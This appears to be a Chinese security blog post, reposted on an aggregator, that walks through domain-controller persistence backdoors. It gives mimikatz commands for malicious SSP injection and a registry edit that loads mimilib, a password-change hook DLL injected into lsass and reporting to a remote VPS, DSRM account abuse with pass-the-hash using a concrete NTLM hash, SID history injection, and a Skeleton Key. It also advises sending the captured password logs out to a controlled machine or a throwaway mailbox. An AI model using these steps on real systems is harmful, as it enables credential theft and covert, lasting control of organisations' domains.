当前位置: 首页 > article >正文

【权限维持】域控后门SSPHOOKDSRMSID万能钥匙

文章目录

  • 内网域-权限维持-基于验证DLL加载-SSP
    • 方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
    • 方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
    • 使用总结
  • 内网域-权限维持-基于验证DLL加载-HOOK
    • 方法一:本地监听
    • 方法二:vps远程监听
  • 内网域-权限维持-基于机制账号启用-DSRM
    • 概述
    • 利用流程
    • 技术总结:
  • 内网域-权限维持-基于用户属性修改-SID history
    • 利用流程
    • 技术总结:
  • 内网域-权限维持-基于登录进程劫持-Skeleton Key
  • 参考

内网域-权限维持-基于验证DLL加载-SSP

方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

privilege::debug
misc::memssp

在这里插入图片描述

C:\Windows\System32\mimilsa.log 记录登录的账号密码
这里切换一下用户查看mimilsa.log文件
在这里插入图片描述

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。

1、mimilib.dll(位于mimikatz同目录下)传到目标域控的c:\windows\system32\目录下
在这里插入图片描述

2、修改注册表,重启生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

在这里插入图片描述

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

在这里插入图片描述
c:\windows\system32\kiwissp.log 记录账号密码文件
在这里插入图片描述

使用总结

攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

内网域-权限维持-基于验证DLL加载-HOOK

https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking
基于本地密码的修改,将修改的密码写在该目录下,当然在编译的过程中也可以更改路径。
在这里插入图片描述
编译时注意:在静态库中使用MFC(可能需要自行安装MFC库)
在这里插入图片描述
在这里插入图片描述
编译成功后将release目录下HookPasswordChange.dll 放到HookPasswordChangeNotify.ps1脚本同目录下

方法一:本地监听

powershell
Import-Module .\HookPasswordChangeNotify.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass		# 这条命令不运行也可以

导入ps脚本可能会提示缺少dll文件及其他报错
在这里插入图片描述
修改密码触发条件
在这里插入图片描述

方法二:vps远程监听

powershell -exec bypass -Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll -procname lsass}"

在这里插入图片描述
修改为自己vps ip以及监听的端口
在这里插入图片描述
很遗憾这里没有复现成功,缺少 MSVCP140.dll(需要下载vscode对应版本或者单独在程序路径进行导入)
在这里插入图片描述
当然实战情况下不出网,可以将其转发到已获取权限的域成员主机上或出网主机
报错解决:
powershell
Set-ExecutionPolicy
unrestricted

内网域-权限维持-基于机制账号启用-DSRM

概述

DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。

利用流程

1.获取dsrm及krbtgt的NTLM hash

privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam

在这里插入图片描述
2.dsrm&krbtgt&NTLM hash同步

NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步

在这里插入图片描述
启用krptgt用户
在这里插入图片描述
在这里插入图片描述
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3.修改dsrm登录方式(0:不可登陆、1:只能本地登陆、2:可以远程登录)

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD


4.利用PTH传递攻击

privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5

在这里插入图片描述

dir \\owa2010cn-god\c$

在这里插入图片描述

缺点:弹出cmd窗口,才可以利用,容易被发现

技术总结:

利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

内网域-权限维持-基于用户属性修改-SID history

利用流程

wmic useraccount get sid,name

在这里插入图片描述
1、获取某用户SID属性:

Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述

2、给予某用户administrator属性:

privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator

在这里插入图片描述
再次查看webadmin sid属性(此时已经具有administrator权限)
在这里插入图片描述
3、测评给与前后的DC访问权限:

dir \\192.168.3.21\c$

在这里插入图片描述

技术总结:

把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

内网域-权限维持-基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯

dir \\owa2010cn-god\c$

2、连接DC后,DC注入lsass进程
net use \owa2010cn-god\ipc$ “Admin12345” /user:god\administrator

mimikatz:
privilege::debug
misc::skeleton

在这里插入图片描述
3、重新测试域内某个用户与DC通讯

net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$

在这里插入图片描述
技术总结:
因为Skeleton Key技术是被注入到lsass.exe进程的,
在这里插入图片描述
所以它只存在内存中,如域控重启,万能密码将失效。

参考

https://www.cnblogs.com/lcxblogs/p/14216525.html


http://www.kler.cn/news/10282.html

相关文章:

  • 能聊天、会学习,远不是GPT的终局
  • Android—IMS的InputReader
  • 单片机程序是如何运行起来
  • python+vue+ 疫情冷链追溯管理系统
  • 数字中国理念引领国企人力资源数字化转型与实践
  • 2.29、共享内存(2)
  • Springboot整合Quartz实现定时任务数据库动态配置
  • Python数据分析:轻松实现数据处理、分析和可视化的入门教程
  • 代码自动发布系统
  • qt - 隐式共享与d-pointer技术
  • Android 11.0 原生SystemUI下拉通知栏UI背景设置为圆角背景的定制(二)
  • ptuning v2 的 chatglm垂直领域训练记录
  • 银行数字化转型导师坚鹏:金融科技与数字化转型成功案例
  • 腾讯云服务器TencentOS系统安装宝塔Linux面板命令
  • 软件管理 基础配置(运维笔记)
  • 所有知识付费都可以用 ChatGPT 再割一次?
  • 设计师都在用的6个免费设计素材网站~
  • 【C++】内联函数理解
  • d修复导入c的问题
  • MySQL日志
  • 如何驯化生成式AI,从提示工程 Prompt Engineering 开始
  • Day939.如何小步安全地升级数据库框架 -系统重构实战
  • 银行数字化转型导师坚鹏:ChatGPT解密与银行应用案例
  • 鸟哥的Linux私房菜 学习 Shell Scripts
  • 【CSS】实现梯形
  • C语言实例:求一个整数的所有因数,创建各类三角形图案(代码+思路)
  • AB测试基本原理
  • t-SNE进行分类可视化
  • 【SpringMVC】7—文件上传
  • 详细讲讲Java线程的状态